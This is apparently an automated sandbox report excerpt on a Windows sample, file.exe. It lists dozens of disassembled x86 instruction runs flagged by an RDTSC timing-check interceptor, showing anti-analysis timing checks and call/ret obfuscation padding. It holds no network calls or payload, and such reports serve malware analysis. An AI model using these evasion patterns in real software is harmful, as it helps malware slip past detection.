Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92864 second address: F9286A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9286A second address: F92881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D25CDh], edx 0x00000010 xchg eax, ebx 0x00000011 push esi 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93516 second address: F93528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jnl 00007F9950E9A294h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93528 second address: F9352C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F95192 second address: F951F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A28Fh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F9950E9A288h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov edi, dword ptr [ebp+122D1FA7h] 0x0000002f mov si, dx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F9950E9A288h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e xchg eax, ebx 0x0000004f push edi 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F951F3 second address: F95204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jne 00007F99511DF626h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F965C5 second address: F965DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A293h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97230 second address: F97234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97234 second address: F97238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97238 second address: F97252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jo 00007F99511DF626h 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jnc 00007F99511DF626h 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97252 second address: F97257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97257 second address: F972F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99511DF631h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d ja 00007F99511DF63Ch 0x00000013 mov si, di 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F99511DF628h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F99511DF628h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov edi, 33FA2ACAh 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F99511DF636h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D83D second address: F9D891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D218Fh], ebx 0x0000000d push 00000000h 0x0000000f mov ebx, dword ptr [ebp+122D2AA7h] 0x00000015 mov dword ptr [ebp+122D1CF1h], edi 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F9950E9A288h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 xor di, F200h 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 jbe 00007F9950E9A286h 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D891 second address: F9D897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D897 second address: F9D8BC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F9950E9A296h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D8BC second address: F9D8C6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99511DF62Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DAFD second address: F9DB12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A291h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FA2D second address: F9FA49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99511DF638h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2EEC second address: FA2EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2EF2 second address: FA2F2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF630h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jne 00007F99511DF62Ch 0x00000013 pushad 0x00000014 jmp 00007F99511DF635h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3F8B second address: FA3F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3155 second address: FA3163 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99511DF626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3F90 second address: FA3F95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3163 second address: FA3167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3F95 second address: FA4026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A28Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F9950E9A288h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1D8Ah], edx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F9950E9A288h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b sub ebx, 45491500h 0x00000051 jc 00007F9950E9A289h 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F9950E9A298h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4026 second address: FA4030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F99511DF626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6008 second address: FA6012 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA5285 second address: FA5294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6F9A second address: FA6FE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A294h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or di, E87Fh 0x0000000f sub edi, dword ptr [ebp+122D2A8Fh] 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+1247EE83h] 0x0000001d push 00000000h 0x0000001f or bx, DDEBh 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F9950E9A290h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6FE0 second address: FA6FEA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F99511DF62Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6186 second address: FA61A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A296h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA61A0 second address: FA6241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F99511DF628h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b or ebx, dword ptr [ebp+122D2B27h] 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 js 00007F99511DF62Ch 0x0000003e mov edi, dword ptr [ebp+1246CAFEh] 0x00000044 mov eax, dword ptr [ebp+122D13D9h] 0x0000004a mov di, D1CDh 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push edi 0x00000053 call 00007F99511DF628h 0x00000058 pop edi 0x00000059 mov dword ptr [esp+04h], edi 0x0000005d add dword ptr [esp+04h], 00000016h 0x00000065 inc edi 0x00000066 push edi 0x00000067 ret 0x00000068 pop edi 0x00000069 ret 0x0000006a sub dword ptr [ebp+122D28D9h], eax 0x00000070 mov edi, dword ptr [ebp+122D2ABFh] 0x00000076 push eax 0x00000077 pushad 0x00000078 pushad 0x00000079 jno 00007F99511DF626h 0x0000007f jmp 00007F99511DF62Ah 0x00000084 popad 0x00000085 push eax 0x00000086 push edx 0x00000087 jp 00007F99511DF626h 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8EA8 second address: FA8F0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F9950E9A286h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F9950E9A288h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov ebx, eax 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F9950E9A288h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 mov bl, 95h 0x0000004b push 00000000h 0x0000004d movzx ebx, di 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jne 00007F9950E9A288h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8F0F second address: FA8F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9ECA second address: FA9F5F instructions: 0x00000000 rdtsc 0x00000002 je 00007F9950E9A298h 0x00000008 jmp 00007F9950E9A292h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push ecx 0x00000013 mov edi, 046C4956h 0x00000018 pop ebx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F9950E9A288h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 mov edi, 405AB179h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F9950E9A288h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 mov edi, edx 0x00000058 xchg eax, esi 0x00000059 jc 00007F9950E9A297h 0x0000005f push eax 0x00000060 jmp 00007F9950E9A28Fh 0x00000065 pop eax 0x00000066 push eax 0x00000067 jo 00007F9950E9A29Dh 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9F5F second address: FA9F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA817B second address: FA8180 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7111 second address: FA711F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA711F second address: FA71D8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9950E9A28Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jl 00007F9950E9A286h 0x00000013 pop edi 0x00000014 pop edx 0x00000015 nop 0x00000016 sub bx, F2DAh 0x0000001b push dword ptr fs:[00000000h] 0x00000022 jp 00007F9950E9A28Fh 0x00000028 jnc 00007F9950E9A289h 0x0000002e mov bx, cx 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 call 00007F9950E9A296h 0x0000003d or edi, dword ptr [ebp+122D38E1h] 0x00000043 pop edi 0x00000044 mov eax, dword ptr [ebp+122D12CDh] 0x0000004a call 00007F9950E9A290h 0x0000004f mov ebx, dword ptr [ebp+122D1DE4h] 0x00000055 pop ebx 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push esi 0x0000005b call 00007F9950E9A288h 0x00000060 pop esi 0x00000061 mov dword ptr [esp+04h], esi 0x00000065 add dword ptr [esp+04h], 0000001Ah 0x0000006d inc esi 0x0000006e push esi 0x0000006f ret 0x00000070 pop esi 0x00000071 ret 0x00000072 mov edi, dword ptr [ebp+122D2A7Fh] 0x00000078 push eax 0x00000079 jbe 00007F9950E9A2A0h 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007F9950E9A28Eh 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA71D8 second address: FA71DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC335 second address: FAC34E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A295h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE376 second address: FAE38A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jo 00007F99511DF626h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD548 second address: FAD5EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A290h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F9950E9A293h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F9950E9A288h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 jmp 00007F9950E9A293h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov edi, dword ptr [ebp+122D2300h] 0x00000045 sub ebx, dword ptr [ebp+12455337h] 0x0000004b mov eax, dword ptr [ebp+122D139Dh] 0x00000051 push FFFFFFFFh 0x00000053 mov di, dx 0x00000056 nop 0x00000057 jmp 00007F9950E9A290h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f ja 00007F9950E9A292h 0x00000065 jmp 00007F9950E9A28Ch 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD5EE second address: FAD5F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD5F4 second address: FAD5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF2AF second address: FAF2B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE59D second address: FAE5B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A293h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF2B6 second address: FAF341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a je 00007F99511DF626h 0x00000010 pop edx 0x00000011 js 00007F99511DF628h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F99511DF628h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F99511DF628h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 pushad 0x00000052 mov di, ax 0x00000055 mov edx, ecx 0x00000057 popad 0x00000058 push 00000000h 0x0000005a mov edi, dword ptr [ebp+122D1DE4h] 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F99511DF639h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F512A8 second address: F512C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F9950E9A28Bh 0x0000000f jmp 00007F9950E9A28Bh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F512C9 second address: F512CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F512CF second address: F512EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F9950E9A28Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F9950E9A2A5h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F512EF second address: F51310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99511DF639h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51310 second address: F51316 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51316 second address: F5131C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5131C second address: F51322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB6C6B second address: FB6CAF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99511DF626h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F99511DF635h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 jmp 00007F99511DF632h 0x0000001a push ebx 0x0000001b jmp 00007F99511DF62Ah 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB70BD second address: FB70F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A294h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F9950E9A28Eh 0x00000011 jmp 00007F9950E9A290h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD207 second address: FBD20B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD20B second address: FBD226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9950E9A295h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDC4D second address: FBDC53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1B51 second address: FC1B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1B57 second address: FC1B5C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1B5C second address: FC1B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1B6C second address: FC1B7B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99511DF626h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1B7B second address: FC1B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F9950E9A286h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1B8A second address: FC1BAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99511DF632h 0x0000000d jng 00007F99511DF626h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1E58 second address: FC1E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A296h 0x00000009 rdtsc
